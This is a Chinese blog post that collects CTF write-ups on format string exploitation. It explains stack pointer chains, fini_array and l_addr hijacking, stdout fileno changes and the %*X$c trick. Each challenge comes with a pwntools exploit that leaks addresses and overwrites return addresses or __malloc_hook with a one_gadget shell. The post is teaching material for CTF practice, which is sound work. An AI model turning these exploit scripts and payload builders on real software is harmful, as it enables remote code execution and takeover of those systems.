格式化字符串大杂烩

阅读量349518

|

发布时间 : 2020-11-27 16:30:09

 

L0ck@星盟

一直对格式化字符串的利用不是很上手,所以决定做个总结,复现一些骚题目还有一些常规题,bss段的格式化字符串和正常的栈上的格式化字符串利用,希望通过这次总结能加深对格式化字符串利用的理解。

 

0x1.ha1cyon-ctf level2

除了canary以外保护全开

IDA分析

无限循环的格式化字符串漏洞,不过是bss段的。

bss段或堆上的的格式化字符串利用,我们需要在栈上找一个二级指针,类似于下面这种

因为我们需要修改返回地址,但通过格式化字符串漏洞直接修改返回地址是行不通的,我们需要间接修改返回地址,如下

00:0000│ rsp  0x7fffffffde08 —▸ 0x555555554824 (main+138) ◂— jmp    0x5555555547da
01:0008│ rbp  0x7fffffffde10 —▸ 0x555555554830 (__libc_csu_init) ◂— push   r15
02:0010│      0x7fffffffde18 —▸ 0x7ffff7a05b97 (__libc_start_main+231) ◂— mov    edi, eax
03:0018│      0x7fffffffde20 ◂— 0x1
04:0020│      0x7fffffffde28 —▸ 0x7fffffffdef8 —▸ 0x7fffffffe264 ◂— 0x6f6c2f656d6f682f ('/home/lo')

有这样一条链
0x7fffffffde28 —▸ 0x7fffffffdef8 —▸ 0x7fffffffe264 ◂— 0x6f6c2f656d6f682f ('/home/lo')
我们可以将这条链指向返回地址,即修改成如下所示的链
0x7fffffffde28 —▸ 0x7fffffffdef8 —▸ 0x7fffffffde18 —▸ 0x7ffff7a05b97 (__libc_start_main+231) ◂— mov edi, eax
0x7fffffffe264和0x7fffffffde18只有后四位不同,通过格式化字符串我们可以修改0x7fffffffe264的后四位为0x7fffffffde18的后四位,这样我们就能通过修改栈上的值来修改返回地址了

首先我们泄露出libc地址和栈地址,这两个地址分别用%7$p%9$p就能泄露

接着我们来完成上面说的修改栈链

0x7fffffffde28 —▸ 0x7fffffffdef8 —▸ 0x7fffffffe264 ◂— 0x6f6c2f656d6f682f ('/home/lo')

这条链在格式化字符串中是%9
我们通过如下payload来修改它的指向

payload = "%"+str(stack&0xffff)+"c"+"%9$hnxxxx\x00"

修改完成后如下

这样栈里面就存在了指向返回地址的二级指针,我们只要修改00f0处栈所指向的值就能修改返回地址了。

由于返回地址和onegadget地址只有后五位不一样,所以我们只需要通过格式化字符串修改返回地址得后三个字节即可,不用全部写入。

00f0的栈在格式化字符串中的位置是%35,我们第一次修改两字节,也就是用%35$hn进行写入,payload如下

payload = "%"+str(onegadget & 0xffff)+"c"+"%35$hnxxxx\x00"

修改后如下所示

接着我们来修改剩下的两字节。

我们需要再次修改0020处的栈链,使其偏移四位,即现在是0x7ffe5519af48,我们将其修改为0x7ffe5519af4a,这样就能够修改后四位的值,payload为

payload = "%"+str(stack&0xffff+2)+"c"+"%9$hnxxxx\x00" #因为是以字节为单位偏移,所以+2就是偏移两字节,即偏移四位

修改了偏移之后就可以继续修改%35的栈值,进行最后的修改

payload = "%"+str((onegadget >> 16) & 0xffff)+"c"+"%35$hnxxxx\x00"

修改完成后栈如下

返回地址已经被修改为了onegadget,然后输入66666666退出循环就能触发onegadget,完整exp如下

#!/usr/bin/python
from pwn import *
context.log_level='debug'
io = process("./level2")
elf = ELF('level2')
libc = ELF('libc-2.27_x64.so')

payload = "%6$p%7$p%9$p"
io.send(payload)
pro_base = int(io.recv(14), 16)-0x830
libc_base = int(io.recv(14), 16)-libc.symbols['__libc_start_main']-231
stack = int(io.recv(14), 16)-232
log.success('pro_base => {}'.format(hex(pro_base)))
log.success('libc_base => {}'.format(hex(libc_base)))
log.success('stack => {}'.format(hex(stack)))


onegadget = libc_base+0x4f322
offset0 = stack & 0xffff
offset1 = onegadget & 0xffff
offset2 = (onegadget >> 16) & 0xffff
log.success('onegadget => {}'.format(hex(onegadget)))
log.success('offset0 => {}'.format(hex(offset0)))
log.success('offset1 => {}'.format(hex(offset1)))
log.success('offset2 => {}'.format(hex(offset2)))
#gdb.attach(io)
payload = "%"+str(offset0+8)+"c"+"%9$hnxxxx\x00"
io.sendline(payload)
io.recvuntil("xxxx")
payload = "%"+str(offset1)+"c"+"%35$hnxxxx\x00"
io.sendline(payload)
io.recvuntil("xxxx")
payload = "%"+str(offset0+10)+"c"+"%9$hnxxxx\x00"
io.sendline(payload)
io.recvuntil("xxxx")
payload = "%"+str(offset2)+"c"+"%35$hnxxxx\x00"
io.sendline(payload)
io.recvuntil("xxxx")
io.sendline("66666666\x00")
io.interactive()

 

0x2.De1ta ctf-unprintable

这题可以说是上一题的升级版

首先检查保护

IDA分析

程序首先给我们了栈地址,然后关闭标准输出,只有一次格式化字符串利用机会,之后就通过exit函数退出

由于第一次printf调用栈中不存在可利用的数据

根据上一题修改返回地址的利用,我们无法通过第一次printf直接修改返回地址,因此需要利用别的办法

在exit函数中会调用_dl_fini函数

其中的l->l_info[DT_FINI_ARRAY]->d_un.d_ptr指向fini_array段的地址,而l->l_addr为0,所以l->l_addr+ l->l_info[DT_FINI_ARRAY]->d_un.d_ptr=0x600DD8

在printf函数下断点,此时栈空间如下

这个画框的实际上就是l->l_addr

在后续调用_dl_fini的过程中,有如下语句

_dl_fini+788这条语句将[rbx]和r12相加,rbx里面存储的是fini_array的地址,rbx里面存储着的正是l->l_addr,也就是调用printf时栈中_dl_init+139上一行的值。因此我们可以通过格式化字符串修改l->l_addr的值,使l->l_addr+ l->l_info[DT_FINI_ARRAY]->d_un.d_ptr偏移到buf中,然后在buf中伪造fini_array里面的函数为main函数,这样就能够再次执行程序。

l->l_addr在printf中的偏移为%26,buf的地址为0x601060,fini_array的地址是0x600dd8,相差0x288,payload如下

payload = "%"+str(0x298)+"c%26$hn"
payload = payload.ljust(0x10,'\x00')+p64(0x4007A3)

因为我们输入的格式化字符要占一定空间,所以伪造的fini_array还需要往后挪一挪。伪造的fini函数直接从main函数中的read函数开始执行,这是为了避免从头执行会再一次初始化栈空间,这样我们做的就是无用功。

看到第二次执行printf时的栈空间

此时我们就可以直接通过格式化字符串来修改返回地址了

接下来的利用思路就是在buf中写入ROP链,rop用来修改stderr为onegadget,格式化字符串用来修改printf函数的返回地址为pop rsp,将返回地址的下一行修改为rop链的起始地址,这样当printf函数结束时就会执行rop链。

用到的gadget如下

pop_rsp = 0x000000000040082d
#0x000000000040082d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
csu_pop = 0x000000000040082A
'''
.text:000000000040082A                 pop     rbx
.text:000000000040082B                 pop     rbp
.text:000000000040082C                 pop     r12
.text:000000000040082E                 pop     r13
.text:0000000000400830                 pop     r14
.text:0000000000400832                 pop     r15
.text:0000000000400834                 retn
'''
csu_call = 0x0000000000400810
'''
.text:0000000000400810                 mov     rdx, r13
.text:0000000000400813                 mov     rsi, r14
.text:0000000000400816                 mov     edi, r15d
.text:0000000000400819                 call    ds:(__frame_dummy_init_array_entry - 600DD0h)[r12+rbx*8]
'''
#万能gadget
stderr_ptr_addr = 0x0000000000601040
stdout_ptr_addr = 0x0000000000601020
adc_p_rbp_edx = 0x00000000004006E8
'''
.text:00000000004006E8 adc     [rbp+48h], edx
.text:00000000004006EB mov     ebp, esp
.text:00000000004006ED call    deregister_tm_clones
.text:00000000004006F2 pop     rbp
.text:00000000004006F3 mov     cs:completed_7594, 1
.text:00000000004006FA rep retn
'''

adc [rbp+48h], edx这一条gadget可以用来的意思是将edx的值和[rbp+0x48]的值相加,并将结果存储在rbp+0x48中,我们可以将edx的值设置为onegadget和_IO_2_1_stderr的地址的差,将rbp设置为stderr_ptr_addr-0x48,于是通过这条指令就可以将_IO_2_1_stderr改写为onegadget。

现在开始完整的讲述利用流程,在第二次printf中,栈空间如下

00:0000│ rsp  0x7ffdcc6a2410 —▸ 0x4007c6 (main+160) ◂— mov    edi, 0
01:0008│      0x7ffdcc6a2418 —▸ 0x7fb6ff903e27 (_dl_fini+823) ◂— test   r13d, r13d
02:0010│ r14  0x7ffdcc6a2420 —▸ 0x7fb6ffb1a168 ◂— 0x298
03:0018│      0x7ffdcc6a2428 —▸ 0x7fb6ffb1a700 —▸ 0x7ffdcc763000 ◂— jg     0x7ffdcc763047
04:0020│      0x7ffdcc6a2430 —▸ 0x7fb6ffafc000 —▸ 0x7fb6ff529000 ◂— jg     0x7fb6ff529047
05:0028│ r10  0x7ffdcc6a2438 —▸ 0x7fb6ffb199d8 (_rtld_global+2456) —▸ 0x7fb6ff8f3000 ◂— jg     0x7fb6ff8f3047
06:0030│      0x7ffdcc6a2440 —▸ 0x7ffdcc6a2540 —▸ 0x4007d0 (__libc_csu_init) ◂— push   r15
07:0038│      0x7ffdcc6a2448 —▸ 0x7fb6ff903b74 (_dl_fini+132) ◂— mov    ecx, dword ptr [r12]
08:0040│      0x7ffdcc6a2450 —▸ 0x7ffdcc6a2420 —▸ 0x7fb6ffb1a168 ◂— 0x298
09:0048│      0x7ffdcc6a2458 ◂— 0x3000000010
0a:0050│      0x7ffdcc6a2460 —▸ 0x7ffdcc6a2530 —▸ 0x7ffdcc6a2620 ◂— 0x1
0b:0058│      0x7ffdcc6a2468 —▸ 0x7ffdcc6a2470 —▸ 0x7ffdcc763280 ◂— add    byte ptr ss:[rax], al /* '6' */
0c:0060│      0x7ffdcc6a2470 —▸ 0x7ffdcc763280 ◂— add    byte ptr ss:[rax], al /* '6' */
0d:0068│      0x7ffdcc6a2478 —▸ 0x7ffdcc6a2450 —▸ 0x7ffdcc6a2420 —▸ 0x7fb6ffb1a168 ◂— 0x298
0e:0070│      0x7ffdcc6a2480 ◂— 0x400001000
0f:0078│      0x7ffdcc6a2488 —▸ 0x7ffdcc6a2420 —▸ 0x7fb6ffb1a168 ◂— 0x298
10:0080│      0x7ffdcc6a2490 ◂— 0x400000000
11:0088│      0x7ffdcc6a2498 —▸ 0x7fb6ffb19048 (_rtld_global+8) ◂— 0x4
12:0090│      0x7ffdcc6a24a0 —▸ 0x7ffdcc6a2410 —▸ 0x4007c6 (main+160) ◂— mov    edi, 0

通过0090的栈我们可以修改返回地址,使程序重复读取,我们还需要将0008处的栈修改为rop链的存储地址

01:0008│      0x7ffdcc6a2418 —▸ 0x7fb6ff903e27 (_dl_fini+823) ◂— test   r13d, r13d
08:0040│      0x7ffdcc6a2450 —▸ 0x7ffdcc6a2420 —▸ 0x7fb6ffb1a168 ◂— 0x298
0d:0068│      0x7ffdcc6a2478 —▸ 0x7ffdcc6a2450 —▸ 0x7ffdcc6a2420 —▸ 0x7fb6ffb1a168 ◂— 0x298
看到上面这三条栈链,类似于第一题的做法,我们将
0d:0068│      0x7ffdcc6a2478 —▸ 0x7ffdcc6a2450 —▸ 0x7ffdcc6a2420 —▸ 0x7fb6ffb1a168 ◂— 0x298
修改为
0d:0068│      0x7ffdcc6a2478 —▸ 0x7ffdcc6a2450 —▸ 0x7ffdcc6a2418 —▸ 0x7fb6ff903e27 (_dl_fini+823) ◂— test   r13d, r13d
0040处的栈就变成了
08:0040│      0x7ffdcc6a2450 —▸ 0x7ffdcc6a2418 —▸ 0x7fb6ff903e27 (_dl_fini+823) ◂— test   r13d, r13d
这样我们就能通过修改0040处的栈来修改0008处的栈值了

payload如下

payload = '%' + str(0xA3) + 'c%23$hhn'#修改返回地址为0x4007a3
payload += '%' + str((stack-0xa3)&0xff) + 'c%18$hhn'#修改0068得栈链指向0008处,这里减a3得原因是因为前面已经输出了0xa3个字节了,如果不减的话%18处得栈的后四位就会被修改为stack&0xffff+0xa3

修改之前如下

修改之后如下

可以看到返回地址已经被修改为了0x4007a3,栈链也修改成功

下一步继续修改0008处的值,payload如下

stack = stack+2 
payload = '%' + str(0xA3) + 'c%23$hhn'#修改返回地址
tmp1 = (stack-0xa3)&0xff
payload += '%' + str(tmp1) + 'c%18$hhn'#修改0068处的栈链
tmp2 = tmp1+0xa3
payload += '%' + str((addr1-tmp2)&0xffff) + 'c%13$hn'#修改0008处栈的值

修改前

修改后

可以看到0008处栈的值的后四位被修改为了rop链存放地址的后四位

接下来继续修改,payload如下

stack = stack+2
payload = '%' + str(0x60) + 'c%13$hn'
payload += '%' + str(0xA3-0x60) + 'c%23$hhn'
tmp1 = (stack-0xa3)&0xff
payload += '%' + str(tmp1) + 'c%18$hhn'

修改后如下

接下来是最后一次payload,要将0008处前面的0x7fec清零,修改返回地址为pop rsp的地址,还要将rop链写入

payload = '%13$hn'
payload += '%' + str(pop_rsp&0xffff) + 'c%23$hn'
payload = payload.ljust(0x200,'\x00')
payload += rop

修改完成后如下

返回地址已经被修改为了pop rsp,rop链地址也修改完了

顺便说一下0008处的地址为什么是0x601248,我们设置的rop链存放的位置是0x601060,相对于buf的起始地址为0x200,而pop rsp的完整指令如下0x000000000040082d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret,除了将0x601248 pop到rsp,还要pop三个值到三个寄存器中,所以我们pop到rsp的地址需要相对于存放rop链的地址往高处空出3*8个字节,留给r13,r14和r15。

完整exp如下(来自于四道题看格串新的利用方式)

from pwn import *
p = process("./de1ctf_2019_unprintable",env={'LD_PRELOAD':'./libc-2.23.so'})
libc = ELF("./libc-2.23.so")

#获取stack地址,并计算出要修改的地址
p.recvuntil("0x")
stack = int(p.recv(12),16)-0x110-8
print hex(stack)

#劫持l_addr,从而在buf中伪造fini_array,再一次读并输出格式化字符串
payload = "%"+str(0x298)+"c%26$hn"
payload = payload.ljust(0x10,'\x00')+p64(0x4007A3)
p.send(payload)


sleep(1)
pop_rsp = 0x000000000040082d
csu_pop = 0x000000000040082A
csu_call = 0x0000000000400810
stderr_ptr_addr = 0x0000000000601040
stdout_ptr_addr = 0x0000000000601020
one = [0x45226,0x4527a,0xf0364,0xf1207]
one = [0x45216,0x4526a,0xf02a4,0xf1147]
one_gadget = one[3]
offset = one_gadget - libc.sym['_IO_2_1_stderr_']
adc_p_rbp_edx = 0x00000000004006E8

rop_addr = 0x0000000000601260
tmp = stderr_ptr_addr-0x48

#利用adc将stderr修改为one_gadget
rop = p64(csu_pop)
rop += p64(tmp-1) #rbx
rop += p64(tmp) #rbp
rop += p64(rop_addr + 0x8 * 6 - tmp * 8 + 0x10000000000000000) #r12
rop += p64(offset + 0x10000000000000000) #r13
rop += p64(adc_p_rbp_edx) #r14
rop += p64(0) #r15
rop += p64(csu_call)

#call onegadget
rop += p64(csu_pop)
rop += p64(0) #rbx
rop += p64(1) #rbp
rop += p64(stderr_ptr_addr) #r12
rop += p64(0) #r13
rop += p64(0) #r14
rop += p64(0) #r15
rop += p64(csu_call)

rop_addr = rop_addr-0x18
addr1 = rop_addr&0xffff+0x10000
addr2 = (rop_addr>>16)&0xffff+0x10000
addr3 = (rop_addr>>32)&0xffff+0x10000


#0 劫持printf的返回地址,并将指针指向返回地址的下一地址,方便后面迁栈
payload = '%' + str(0xA3) + 'c%23$hhn'
payload += '%' + str((stack-0xa3)&0xff) + 'c%18$hhn'
p.send(payload)
sleep(1)
#1-2为迁栈过程,即不断劫持printf的返回地址,并依次将下一地址修改为指向buf上存放rop串处,并且最终将返回地址改为pop rsp,从而执行rop串
#1 
stack = stack+2
payload = '%' + str(0xA3) + 'c%23$hhn'
tmp1 = (stack-0xa3)&0xff
payload += '%' + str(tmp1) + 'c%18$hhn'
tmp2 = tmp1+0xa3
payload += '%' + str((addr1-tmp2)&0xffff) + 'c%13$hn'
p.send(payload)
sleep(1)


#2
stack = stack+2
payload = '%' + str(0x60) + 'c%13$hn'
payload += '%' + str(0xA3-0x60) + 'c%23$hhn'
tmp1 = (stack-0xa3)&0xff
payload += '%' + str(tmp1) + 'c%18$hhn'
p.send(payload)
sleep(1)

#3 继续将返回地址的下一地址修改为指向buf上存放rop串处,并且最终将返回地址改为pop rsp,从而执行rop串
payload = '%13$hn'
payload += '%' + str(pop_rsp&0xffff) + 'c%23$hn'
payload = payload.ljust(0x200,'\x00')
payload += rop
#gdb.attach(p,'b *0x4007C1')
p.send(payload)
sleep(1)
#重新获取shell,并恢复stderr
p.sendline("sh >&2")
p.interactive()

这里再说一下rop链的构造

rop = p64(csu_pop)
rop += p64(tmp-1) #rbx
rop += p64(tmp) #rbp
rop += p64(rop_addr + 0x8 * 6 - tmp * 8 + 0x10000000000000000) #r12
rop += p64(offset + 0x10000000000000000) #r13
rop += p64(adc_p_rbp_edx) #r14
rop += p64(0) #r15
rop += p64(csu_call)

其实我一开始不太明白rbx为什么要设置为stderr_ptr_addr-0x48-1,还有r12r13的设置,动调加思考之后才明白。
由于在csu中最终要调用这条指令

call    qword ptr [r12+rbx*8]

而我们要利用这条指令调用0x4006E8处的指令,因此[r12+rbx*8]需要为0x4006E8。我们的rop链的起始存储地址为0x601260,向下依次+8字节地址,adc_p_rbp_edx这条gadget存储在0x601088的位置。

r12+rbx*8=rop_addr + 0x8 * 6 - tmp * 8+8*(tmp-1)=0x601260+0x30-0x600ff8*8+8\*0x600ff7,从数学计算上来看这个式子确实等于0x601088,但这是因为我们自动将其化简得来的,在计算机中则会先计算rop_addr + 0x8 * 6 - tmp * 8这个式子,就会得到一个负数,在计算机中负数是以补码表示的,会算得这个结果FFFF FFFF FD5F 92D0,因此我们加上0x10000000000000000把前面的ff给去掉。至于r13,会被pop到rdx,offset = one_gadget - libc.sym['_IO_2_1_stderr_']是一个负数,同样需要+0x10000000000000000来把前面的ff清0.

这题就到此为止,受益良多的一题

 

0x3.西湖论剑-noleakfmt

这题在某种程度上又可以看成上一题的升级版

检查保护

IDA分析

这题和上一题的区别在于没有stderr,但可以无限输入。

由于没有stderr,所以我们不能像上一题那样直接改stderr为onegadget,我们要使程序能够重新输出以获得libc,因此需要修改_IO_2_1_stdout结构体中的fileno成员为2,然后就能重新输出,之后再修改malloc_hook的值为onegadget,通过输入大量字符来触发onegadget。

在printf函数栈的上方存在着_IO_2_1_stdout的地址,我们可以通过抬栈使_IO_2_1_stdout落到printf函数栈中

在libc_start_main函数中有如下指令

0x00007ffff7a2d750 <+0>:    push   r14
0x00007ffff7a2d752 <+2>:    push   r13
0x00007ffff7a2d754 <+4>:    push   r12
0x00007ffff7a2d756 <+6>:    push   rbp
0x00007ffff7a2d757 <+7>:    mov    rbp,rcx
0x00007ffff7a2d75a <+10>:    push   rbx
0x00007ffff7a2d75b <+11>:    sub    rsp,0x90

可以将栈抬高0x90

抬高0x90之后的printf函数栈空间是能够包含_IO_2_1_stdout的,两者栈的距离小于0x90

确定好目标之后我们要来修改printf的返回地址了,由于__libc_start_mian函数存在于start函数的调用链中,所以我们可以将返回地址修改为start函数。

首先像上面两题一样,我们先修改栈链,使得可以通过格式化字符串修改返回地址,将返回地址修改为start,由于start地址为0x7b0,我们一次写入两字节,会把倒数第四位清0,开启了pie,所以有1/16的几率修改成功。成功修改返回地址为start之后就会抬栈,接下来再故技重施,修改栈链,并且将stdout地址的后两位修改为0x90,从而修改fileno成员,使stdout重新输出,然后再修改malloc_hook为onegadget就好,再通过printf输出大量字符来触发onegadget就行(不想写了,后续利用和上一题一样的方式,阿巴阿巴阿巴),exp如下

from pwn import *
context.log_level='debug'
elf=ELF('./noleakfmt')
libc=ELF('./libc-2.23.so')
start=0x7b0
onegadget=[0x45226,0x4527a,0xf0364,0xf1207]

def pwn():
    io.recvuntil("gift : 0x")
    stack=int(io.recv(12),16)
    log.success('stack => {}'.format(hex(stack)))
    payload='%'+str((stack-0xc)&0xffff)+'c%11$hn'
    io.sendline(payload)
    sleep(0.1)
    try:
        payload='%'+str(start)+'c%37$hn'
        io.sendline(payload)   
    except :
        io.close()
    else:
        sleep(0.1)
        payload='%'+str((stack-0x54)&0xffff)+'c%10$hn'
        io.sendline(payload)    
        sleep(0.1)
        payload='%'+str(0x90)+'c%36$hhn'
        io.sendline(payload)
        sleep(0.1)
        payload='%'+str(0x2)+'c%26$hhn'
        io.sendline(payload)
        sleep(0.1)
        payload='%9$p'
        io.sendline(payload)
        io.recvuntil('0x')
        libc_base=int(io.recv(12),16)-libc.symbols['__libc_start_main']-240
        log.success('libc_base => {}'.format(hex(libc_base)))
        one_gadget=libc_base+onegadget[3]
        log.success('one_gadget => {}'.format(hex(one_gadget)))
        malloc_hook=libc_base+libc.symbols['__malloc_hook']
        log.success('malloc_hook => {}'.format(hex(malloc_hook)))
        sleep(0.1)
        payload='%'+str(malloc_hook&0xffff)+'c%36$hn'
        io.sendline(payload)
        sleep(0.1)
        payload='%'+str(one_gadget&0xffff)+'c%26$hn'
        io.sendline(payload)
        sleep(0.1)
        payload='%'+str((malloc_hook+2)&0xff)+'c%36$hhn'
        #gdb.attach(io)
        io.sendline(payload)
        sleep(0.1)
        payload='%'+str((one_gadget>>16)&0xff)+'c%26$hhn'
        io.sendline(payload)
        sleep(0.1)
        io.sendline('%99999c')
        io.sendline('exec 1>&2')
        io.interactive()




if __name__ == "__main__":
    while True:
        try:
            io=process('./noleakfmt')
            pwn()
        except:
            io.close()

'''
0x45226 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4527a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xf0364 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1207 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
  '''

接下来再来道偏一点的格式化字符串知识点利用

 

0x4.网鼎杯白虎组-quantum_entanglement

检查保护

IDA分析

然而有问题

看到0x8048998

scanf函数,f5看看scanf反编译成什么样了

龟龟,怎么这么多参数,不对劲,按y改一下参数

改完之后就能反编译main了

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [esp+0h] [ebp-ECh]
  int *buf; // [esp+4h] [ebp-E8h]
  int *addr; // [esp+8h] [ebp-E4h]
  int fd; // [esp+Ch] [ebp-E0h]
  int v8; // [esp+10h] [ebp-DCh]
  char format; // [esp+18h] [ebp-D4h]
  char v10; // [esp+7Ch] [ebp-70h]
  unsigned int v11; // [esp+E0h] [ebp-Ch]
  int *v12; // [esp+E4h] [ebp-8h]

  v12 = &argc;
  v11 = __readgsdword(0x14u);
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
  buf = (int *)mmap(0, 4u, 3, 34, -1, 0);
  addr = (int *)mmap(0, 4u, 3, 34, -1, 0);
  fd = open("/dev/random", 0);
  if ( fd < 0 )
  {
    perror("/dev/urandom");
    exit(1);
  }
  read(fd, buf, 4u);
  read(fd, addr, 4u);
  *buf &= 0xCAFEBABE;
  *addr &= 0xBADBADu;
  mprotect(buf, 4u, 1);
  mprotect(addr, 4u, 1);
  close(fd);
  v4 = *buf;
  v8 = *addr;
  fwrite("FirstName: ", 1u, 0xAu, stdout);
  __isoc99_scanf((int)"%13s", (int)&format);
  fwrite("LastName: ", 1u, 9u, stdout);
  __isoc99_scanf((int)"%13s", (int)&v10);
  log_in(&format, &v10);
  /*
  int __cdecl log_in(char *format, char *a2)
  {
      fwrite("Welcome my Dear ", 1u, 0x10u, stdout);
      fprintf(stdout, format, "%s");
      fprintf(stdout, a2, "%s");
      return 0;
  }
  */
  sleep(3u);
  if ( v8 != v4 )
    exit(1);
  system("/bin/sh");
  return 0;
}

程序逻辑就是mmap出两块4字节的内存,然后分别往里面读入4字节的随机数,然后将两个随机数分别与上0xCAFEBABE0xBADBAD,接着再接收两次13字节的输入,作为参数传入log_in函数,log_in函数之后对v8和v4进行比较,如果相等则执行system(“/bin/sh”)

在fprintf函数中存在格式化字符串漏洞

这里需要用到一个新的知识点

%*X$c%Y$n会把栈中偏移X处的值赋给栈中偏移Y处的指针指向的地址

在执行fprintf的时候站空间如下

在0055的栈空间出残留着第一个随机数地址的后四位,0050的栈空间是第二个随机数,它们的相对偏移如下

但是因为在fprintf函数中,格式化字符串并不是第一个参数,是第二个,和printf函数有所不同,所以这里fprintf函数格式化字符串的偏移都需要-1

这题的思路依然是在栈中找栈链,然后将栈链中的一条链的后四位修改成第一个随机数地址的后四位,然后再修改第一个随机数的值为第二个随机数,找到如下这条链

exp如下

from pwn import *
context.log_level='debug'
io=process('./quantum_entanglement')
elf=ELF('./quantum_entanglement')

payload1='%*19$c%44$hn' #将%44位置处的栈链修改到指向第一个随机数
payload2='%*18$c%118$n' #一次性将第二个随机数写入到第一个随机数的地址
io.recvuntil('FirstName:')
io.sendline(payload1)
#gdb.attach(io)
io.recv()
io.sendline(payload2)
io.interactive()

修改栈链后栈空间如下

考察这个知识点的题目还有ciscn2020华南分赛区same和MidnightsunCTF Quals 2020 pwn4,就不多说了

再氵两道题吧,首先是一道强网杯的Siri

 

0x5.强网杯 siri

检查保护

IDA分析

再sub_1212函数中存在格式化字符串漏洞

这题和上面的题目比起来很简单了,主要是讲一下构造payload

格式化字符串在栈上,直接改返回地址或者malloc_hook为onegadget就行

首先泄露libc和stack地址

泄露这两个地方的值得到栈地址和libc地址,函数的返回地址为rbp下方的那个值,所以返回地址为泄露的栈地址-0x118

我们输入的值在这个地方

得到对应的偏移为%49

首先来试第一种方法,修改返回地址

根据格式化字符串修改内存的用法:%Xc%Y$hn(hhn),其中X为要写入的字节数,Y为偏移量。在64位格式化字符串漏洞利用中,要写入的地址一般都是放在最后面,所以Y要根据要写入地址的偏移量来设置。而写字节一次性可以写4字节,2字节和1字节,一般选用一次写入2字节和1字节的,一次写入4字节的话要返回值太多,本地可以勉强接受,远程肯定会崩掉。

先来讲下一次性写入两字节的payload的是如何构造的。首先返回地址为6字节长,因为onegadget和返回地址的值所有字节都不相同,所以需要全部修改,-一次改2字节共需要修改3次,这样就有8*3=0x18字节的长度,三个返回地址一次放在payload的最后面。printf函数除了用户输入的数据还会在前面输出>>> OK, I'll remind you to ,长度为27,所以在构造pyload的过程中需要减27,还有用户输入的数据是和Remind me to 拼接在一起的,长度为13,最后payload对齐的时候需要-13再对齐。payload构造如下:

write_size=0
offset=55 #offset根据payload对齐的字节来决定
payload=''
for i in range(3):#一共三次,每次修改两字节
  num=(onegadget>>(16*i))&0xffff#每次将onegadget右移两字节
  num-=27#>>> OK, I'll remind you to 的长度为27
  if num>write_size&0xffff:#如果这一次要写入的字节数大于已经写入的字节数,只需要写入num和write_size之差的字节数即可,因为
    payload+='%{}c%{}$hn'.format(num-(write_size&0xffff),offset+i)#前面已经写入了write_size个字节,再加上差值就能
    write_size+=num-(write_size&0xffff)                            #写入num个字节了
  else:#如果本次要写入的字节数小于已经写入的字节数,那么我们是不能直接写入num个字节的,可以理解为溢出了,比如已经写入了0xffff个字节,而本次要写入0xeeee个字节,”超额“写入了,这个时候就需要写入负数,四字节的最大值为0xffff,可以理解为0x10000为0,0-0xffff得到一个负数-0xffff,然后再加上0xeeee得到差值-0x1111。
    payload+='%{}c%{}$hn'.format((0x10000-(write_size&0xffff))+num,offset+i)
    write_size+=0x10000-(write_size&0xffff)+num
payload=payload.ljust(0x38-13,'a')#八字节对齐
for i in range(3):
  payload+=p64(rip+i*2)#将存储着返回地址的栈地址放到payload的最末尾,每次加2

生成好的payload在printf栈中

printf函数执行后

返回地址已经被修改

再来看看一次修改一字节的payload生成,实际上就是把0x10000改成0x100,$hn改成$hhn,payload对齐字节要更多以及偏移量要变化

write_size=0
offset=60
payload=''

for i in range(6):
  num=(onegadget>>(8*i))&0xff
  num-=27
  if num>write_size&0xff:
    payload+='%{}c%{}$hhn'.format(num-(write_size&0xff),offset+i)
    write_size+=num-(write_size&0xff)
  else:
    payload+='%{}c%{}$hhn'.format((0x100-(write_size&0xff))+num,offset+i)
    write_size+=(0x100-(write_size&0xff))+num
payload=payload.ljust(0x60-13,'a')
for i in range(6):
  payload+=p64(rip+i)

此时的payload在栈空间中

修改完后

改malloc_hook和改返回地址是一样的,只需要把最后的地址换成malloc_hook的地址就行

还有一种方法就是修改main函数的返回地址

但因为main函数在while死循环里,所以我们还需要使main函数跳出循环

在IDA的graph view界面里我们可以看到代码块都走向了同一处

然后又会回到main函数开头,所以我们需要利用格式化字符串修改程序不跳转到这里,而是直接结束main函数

在执行完格式化字符串所在的函数后,执行的下一条指令如下

在栈中是返回地址

我们将返回地址的最后两位修改为leave ret的后两位,使其跳转到leave ret

所以一共分两步,第一步修改main函数返回地址为onegadget,第二步修改printf函数返回地址为leave ret

for i in range(6):
  num=(onegadget>>(8*i))&0xff
  num-=27
  if num>write_size&0xff:
    payload+='%{0}c%{1}$hhn'.format(num-(write_size&0xff),offset+i)
    write_size+=num-(write_size&0xff)
  else:
    payload+='%{0}c%{1}$hhn'.format((0x100-(write_size&0xff))+num,offset+i)
    write_size+=(0x100-(write_size&0xff))+num
payload=payload.ljust(0x60-13,'a')
for i in range(6):
  payload+=p64(main_ret+i)
siri(payload)
siri('aaaa')
payload='%'+str(0xc1-27)+'c%61$hhn'
payload=payload.ljust(0x5f-13,'a')
payload+=p64(rip)
siri(payload)

第一次printf后main函数返回地址已经修改为了onegadget

第二次printf后pintf函数返回地址被修改成功

直接返回执行onegadget

 

0x6.SWPUCTF_2019_login

检查保护

got表可改

IDA分析

存在格式化字符串漏洞,不过格式化字符串在bss段上,最多能输入0x32个字节

因为输入wllmmllw能够退出程序,所以考虑修改main函数的返回地址为onegadget

通过%6$p和%15$p泄露栈地址和libc地址

然后修改005c处的栈链指向main函数的返回地址,也就是0050处

修改之前

修改之后

然后就可以修改mian函数的返回地址了,onegadget和返回地址有三个字节不同,所以需要先修改两字节,然后再将栈链+2,继续修改剩下的一字节

exp如下:

from pwn import *
context.log_level = 'debug'
io = process("./SWPUCTF_2019_login")
libc=ELF('./libc-2.27_x86.so')
io.sendlineafter("name: ", 'a')

payload = '%6$p-%15$p'
io.sendlineafter("password: ", payload)
io.recvuntil("0x")
ret_addr = int(io.recv(8), 16)+36
io.recvuntil("0x")
libc_base = int(io.recv(8), 16)-libc.symbols['__libc_start_main']-241
onegadget=libc_base+0x3d0e0
log.success('ret_addr => {}'.format(hex(ret_addr)))
log.success('libc_base => {}'.format(hex(libc_base)))
